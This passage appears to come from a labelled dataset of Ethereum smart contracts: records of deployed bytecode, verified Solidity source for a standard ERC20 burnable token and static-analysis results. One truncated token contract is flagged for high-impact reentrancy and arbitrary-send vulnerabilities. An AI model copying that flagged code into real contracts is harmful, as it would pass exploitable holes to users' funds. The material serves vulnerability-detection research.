90612ef6565b60405180910390fd5b6000611dbf6121c8565b9050611dd4818461215190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e685781602001602082028036833780820191505090505b5090503081600081518110611ea6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4857600080fd5b505afa158015611f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f809190612923565b81600181518110611fba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611285565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612085959493929190613071565b600060405180830381600087803b15801561209f57600080fd5b505af11580156120b3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120e9576000905061214b565b600082846120f79190613213565b905082848261210691906131e2565b14612146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213d90612f76565b60405180910390fd5b809150505b92915050565b600061219383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f3565b905092915050565b806121a9576121a8612256565b5b6121b4848484612287565b806121c2576121c1612452565b5b50505050565b60008060006121d5612464565b915091506121ec818361215190919063ffffffff16565b9250505090565b6000808311829061223a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122319190612eb4565b60405180910390fd5b506000838561224991906131e2565b9050809150509392505050565b600060085414801561226a57506000600954145b1561227457612285565b600060088190555060006009819055505b565b600080600080600080612299876124c0565b9550955095509550955095506122f786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d8816125d0565b6123e2848361268d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161243f9190613056565b60405180910390a3505050505050505050565b60036008819055506007600981905550565b60008060006006549050600066c3663566a58000905061249666c3663566a5800060065461215190919063ffffffff16565b8210156124b35760065466c3663566a580009350935050506124bc565b81819350935050505b9091565b60008060008060008060008060006124dd8a6008546009546126c7565b92509250925060006124ed6121c8565b905060008060006125008e87878761275d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061256a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0f565b905092915050565b6000808284612581919061318c565b9050838110156125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90612f36565b60405180910390fd5b8091505092915050565b60006125da6121c8565b905060006125f182846120d690919063ffffffff16565b905061264581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126a28260065461252890919063ffffffff16565b6006819055506126bd8160075461257290919063ffffffff16565b6007819055505050565b6000806000806126f360646126e5888a6120d690919063ffffffff16565b61215190919063ffffffff16565b9050600061271d606461270f888b6120d690919063ffffffff16565b61215190919063ffffffff16565b9050600061274682612738858c61252890919063ffffffff16565b61252890919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061277685896120d690919063ffffffff16565b9050600061278d86896120d690919063ffffffff16565b905060006127a487896120d690919063ffffffff16565b905060006127cd826127bf858761252890919063ffffffff16565b61252890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127f96127f48461310b565b6130e6565b9050808382526020820190508285602086028201111561281857600080fd5b60005b85811015612848578161282e8882612852565b84526020840193506020830192505060018101905061281b565b5050509392505050565b60008135905061286181613749565b92915050565b60008151905061287681613749565b92915050565b600082601f83011261288d57600080fd5b813561289d8482602086016127e6565b91505092915050565b6000813590506128b581613760565b92915050565b6000815190506128ca81613760565b92915050565b6000813590506128df81613777565b92915050565b6000815190506128f481613777565b92915050565b60006020828403121561290c57600080fd5b600061291a84828501612852565b91505092915050565b60006020828403121561293557600080fd5b600061294384828501612867565b91505092915050565b6000806040838503121561295f57600080fd5b600061296d85828601612852565b925050602061297e85828601612852565b9150509250929050565b60008060006060848603121561299d57600080fd5b60006129ab86828701612852565b93505060206129bc86828701612852565b92505060406129cd868287016128d0565b9150509250925092565b600080604083850312156129ea57600080fd5b60006129f885828601612852565b9250506020612a09858286016128d0565b9150509250929050565b600060208284031215612a2557600080fd5b600082013567ffffffffffffffff811115612a3f57600080fd5b612a4b8482850161287c565b91505092915050565b600060208284031215612a6657600080fd5b6000612a74848285016128a6565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128bb565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128d0565b91505092915050565b600080600060608486031215612ae457600080fd5b6000612af2868287016128e5565b9350506020612b03868287016128e5565b9250506040612b14868287016128e5565b9150509250925092565b6000612b2a8383612b36565b60208301905092915050565b612b3f816132a1565b82525050565b612b4e816132a1565b82525050565b6000612b5f82613147565b612b69818561316a565b9350612b7483613137565b8060005b83811015612ba5578151612b8c8882612b1e565b9750612b978361315d565b925050600181019050612b78565b5085935050505092915050565b612bbb816132b3565b82525050565b612bca816132f6565b82525050565b6000612bdb82613152565b612be5818561317b565b9350612bf5818560208601613308565b612bfe81613442565b840191505092915050565b6000612c1660238361317b565b9150612c2182613453565b604082019050919050565b6000612c39602a8361317b565b9150612c44826134a2565b604082019050919050565b6000612c5c60228361317b565b9150612c67826134f1565b604082019050919050565b6000612c7f601b8361317b565b9150612c8a82613540565b602082019050919050565b6000612ca2601d8361317b565b9150612cad82613569565b602082019050919050565b6000612cc560218361317b565b9150612cd082613592565b604082019050919050565b6000612ce860208361317b565b9150612cf3826135e1565b602082019050919050565b6000612d0b60298361317b565b9150612d168261360a565b604082019050919050565b6000612d2e60258361317b565b9150612d3982613659565b604082019050919050565b6000612d5160248361317b565b9150612d5c826136a8565b604082019050919050565b6000612d7460178361317b565b9150612d7f826136f7565b602082019050919050565b6000612d9760118361317b565b9150612da282613720565b602082019050919050565b612db6816132df565b82525050565b612dc5816132e9565b82525050565b6000602082019050612de06000830184612b45565b92915050565b6000604082019050612dfb6000830185612b45565b612e086020830184612b45565b9392505050565b6000604082019050612e246000830185612b45565b612e316020830184612dad565b9392505050565b600060c082019050612e4d6000830189612b45565b612e5a6020830188612dad565b612e676040830187612bc1565b612e746060830186612bc1565b612e816080830185612b45565b612e8e60a0830184612dad565b979650505050505050565b6000602082019050612eae6000830184612bb2565b92915050565b60006020820190508181036000830152612ece8184612bd0565b905092915050565b60006020820190508181036000830152612eef81612c09565b9050919050565b60006020820190508181036000830152612f0f81612c2c565b9050919050565b60006020820190508181036000830152612f2f81612c4f565b9050919050565b60006020820190508181036000830152612f4f81612c72565b9050919050565b60006020820190508181036000830152612f6f81612c95565b9050919050565b60006020820190508181036000830152612f8f81612cb8565b9050919050565b60006020820190508181036000830152612faf81612cdb565b9050919050565b60006020820190508181036000830152612fcf81612cfe565b9050919050565b60006020820190508181036000830152612fef81612d21565b9050919050565b6000602082019050818103600083015261300f81612d44565b9050919050565b6000602082019050818103600083015261302f81612d67565b9050919050565b6000602082019050818103600083015261304f81612d8a565b9050919050565b600060208201905061306b6000830184612dad565b92915050565b600060a0820190506130866000830188612dad565b6130936020830187612bc1565b81810360408301526130a58186612b54565b90506130b46060830185612b45565b6130c16080830184612dad565b9695505050505050565b60006020820190506130e06000830184612dbc565b92915050565b60006130f0613101565b90506130fc828261333b565b919050565b6000604051905090565b600067ffffffffffffffff82111561312657613125613413565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613197826132df565b91506131a2836132df565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131d7576131d66133b5565b5b828201905092915050565b60006131ed826132df565b91506131f8836132df565b925082613208576132076133e4565b5b828204905092915050565b600061321e826132df565b9150613229836132df565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613262576132616133b5565b5b828202905092915050565b6000613278826132df565b9150613283836132df565b925082821015613296576132956133b5565b5b828203905092915050565b60006132ac826132bf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613301826132df565b9050919050565b60005b8381101561332657808201518184015260208101905061330b565b83811115613335576000848401525b50505050565b61334482613442565b810181811067ffffffffffffffff8211171561336357613362613413565b5b80604052505050565b6000613377826132df565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133aa576133a96133b5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613752816132a1565b811461375d57600080fd5b50565b613769816132b3565b811461377457600080fd5b50565b613780816132df565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654672656553616746726f677320546f6b656e20542e6d652f4672656553616746726f6773a2646970667358221220ad8964a1accb8da95429b4429e7fd8913b4dc95563b3ea75b00e7dd1b968890764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 668 |
0x79030b76e57b038e57aae045fd55e373ed405778 | /**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Gaia Global Kilo' token contract
//
// Symbol : GGK
// Name : Gaia Global Kilo
// Total supply: 100 000 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract GGK is BurnableToken {
string public constant name = "Gaia Global Kilo";
string public constant symbol = "GGK";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a14565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6b565b6040518082815260200191505060405180910390f35b6103b1610eb4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f11565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e5565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611368565b005b6040518060400160405280601081526020017f4761696120476c6f62616c204b696c6f0000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b790919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a655af3107a40000281565b60008111610a2157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6d57600080fd5b6000339050610ac482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c826001546114b790919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ceb576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7f565b610cfe83826114b790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f47474b000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4c57600080fd5b610f9e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117682600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c357fe5b818303905092915050565b6000808284019050838110156114e057fe5b809150509291505056fea2646970667358221220c989c6976aa35d51a989f275fd4156642ef70afb2ba9fc870b525f5fd0d4796264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 669 |
0x2ce4faf364fb5ad55866168b075e4d9232214449 | /**
*Submitted for verification at Etherscan.io on 2021-04-12
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity <=0.7.4;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
library Math {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20{
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
